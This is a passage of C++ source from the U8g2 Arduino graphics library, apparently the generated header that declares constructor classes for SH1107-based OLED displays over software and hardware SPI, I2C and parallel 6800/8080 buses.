u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SH1107_64X128_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_SH1107_64X128_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_64x128_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_64X128_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1107_64X128_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_64x128_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_64X128_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1107_64X128_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_64x128_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_64X128_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_SH1107_64X128_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_64x128_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SH1107_64X128_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_SH1107_64X128_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_64x128_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SH1107_64X128_1_6800 : public U8G2 {\n  public: U8G2_SH1107_64X128_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_64x128_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_64X128_1_8080 : public U8G2 {\n  public: U8G2_SH1107_64X128_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_64x128_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_64X128_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_SH1107_64X128_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_64x128_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_64X128_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1107_64X128_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_64x128_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_64X128_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1107_64X128_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_64x128_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_64X128_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_SH1107_64X128_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_64x128_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SH1107_64X128_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_SH1107_64X128_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_64x128_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SH1107_64X128_2_6800 : public U8G2 {\n  public: U8G2_SH1107_64X128_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_64x128_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_64X128_2_8080 : public U8G2 {\n  public: U8G2_SH1107_64X128_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_64x128_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_64X128_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_SH1107_64X128_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_64x128_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_64X128_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1107_64X128_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_64x128_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_64X128_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1107_64X128_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_64x128_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_64X128_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_SH1107_64X128_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_64x128_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SH1107_64X128_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_SH1107_64X128_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_64x128_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SH1107_64X128_F_6800 : public U8G2 {\n  public: U8G2_SH1107_64X128_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_64x128_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_64X128_F_8080 : public U8G2 {\n  public: U8G2_SH1107_64X128_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_64x128_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_64X128_1_SW_I2C : public U8G2 {\n  public: U8G2_SH1107_64X128_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_i2c_64x128_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SH1107_64X128_1_HW_I2C : public U8G2 {\n  public: U8G2_SH1107_64X128_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_i2c_64x128_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SH1107_64X128_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SH1107_64X128_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_i2c_64x128_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SH1107_64X128_2_SW_I2C : public U8G2 {\n  public: U8G2_SH1107_64X128_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_i2c_64x128_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SH1107_64X128_2_HW_I2C : public U8G2 {\n  public: U8G2_SH1107_64X128_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_i2c_64x128_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SH1107_64X128_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SH1107_64X128_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_i2c_64x128_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SH1107_64X128_F_SW_I2C : public U8G2 {\n  public: U8G2_SH1107_64X128_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_i2c_64x128_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SH1107_64X128_F_HW_I2C : public U8G2 {\n  public: U8G2_SH1107_64X128_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_i2c_64x128_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SH1107_64X128_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SH1107_64X128_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_i2c_64x128_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SH1107_SEEED_96X96_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_SH1107_SEEED_96X96_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_seeed_96x96_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_SEEED_96X96_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1107_SEEED_96X96_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_seeed_96x96_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_SEEED_96X96_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1107_SEEED_96X96_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_seeed_96x96_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_SEEED_96X96_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_SH1107_SEEED_96X96_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_seeed_96x96_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SH1107_SEEED_96X96_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_SH1107_SEEED_96X96_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_seeed_96x96_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SH1107_SEEED_96X96_1_6800 : public U8G2 {\n  public: U8G2_SH1107_SEEED_96X96_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_seeed_96x96_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_SEEED_96X96_1_8080 : public U8G2 {\n  public: U8G2_SH1107_SEEED_96X96_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_seeed_96x96_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_HJR_OEL1M0201_96X96_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_SH1107_HJR_OEL1M0201_96X96_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_hjr_oel1m0201_96x96_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_HJR_OEL1M0201_96X96_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1107_HJR_OEL1M0201_96X96_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_hjr_oel1m0201_96x96_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_HJR_OEL1M0201_96X96_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1107_HJR_OEL1M0201_96X96_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_hjr_oel1m0201_96x96_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_HJR_OEL1M0201_96X96_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_SH1107_HJR_OEL1M0201_96X96_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_hjr_oel1m0201_96x96_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SH1107_HJR_OEL1M0201_96X96_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_SH1107_HJR_OEL1M0201_96X96_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_hjr_oel1m0201_96x96_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SH1107_HJR_OEL1M0201_96X96_1_6800 : public U8G2 {\n  public: U8G2_SH1107_HJR_OEL1M0201_96X96_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_hjr_oel1m0201_96x96_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_HJR_OEL1M0201_96X96_1_8080 : public U8G2 {\n  public: U8G2_SH1107_HJR_OEL1M0201_96X96_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_hjr_oel1m0201_96x96_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_SEEED_96X96_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_SH1107_SEEED_96X96_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_seeed_96x96_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_SEEED_96X96_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1107_SEEED_96X96_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_seeed_96x96_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_SEEED_96X96_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1107_SEEED_96X96_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_seeed_96x96_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_SEEED_96X96_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_SH1107_SEEED_96X96_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_seeed_96x96_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SH1107_SEEED_96X96_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_SH1107_SEEED_96X96_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_seeed_96x96_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SH1107_SEEED_96X96_2_6800 : public U8G2 {\n  public: U8G2_SH1107_SEEED_96X96_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_seeed_96x96_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_SEEED_96X96_2_8080 : public U8G2 {\n  public: U8G2_SH1107_SEEED_96X96_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_seeed_96x96_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_HJR_OEL1M0201_96X96_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_SH1107_HJR_OEL1M0201_96X96_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_hjr_oel1m0201_96x96_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_HJR_OEL1M0201_96X96_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1107_HJR_OEL1M0201_96X96_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_hjr_oel1m0201_96x96_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SH1107_HJR_OEL1M0201_96X96_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SH1107_HJR_OEL1M0201_96X96_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_sh1107_hjr_oel1m0201_96x96_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    